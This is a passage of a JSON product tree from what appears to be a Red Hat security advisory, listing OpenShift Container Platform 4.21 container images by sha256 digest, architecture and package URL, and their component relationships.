"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3A5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781567285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-rhel9@sha256%3A0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-installer-rhel9\u0026tag=1781129187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-artifacts-rhel9@sha256%3Ac14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-installer-artifacts-rhel9\u0026tag=1781129269"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3Ace8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781730955"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-os-images-rhel9@sha256%3A25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-machine-os-images-rhel9\u0026tag=1781139658"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3A989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781731686"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3Aa0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781730156"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le as a component of Red Hat OpenShift Container Platform 4.21",
"product_id": "Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.21"
},
{
"category": "default_component_of",
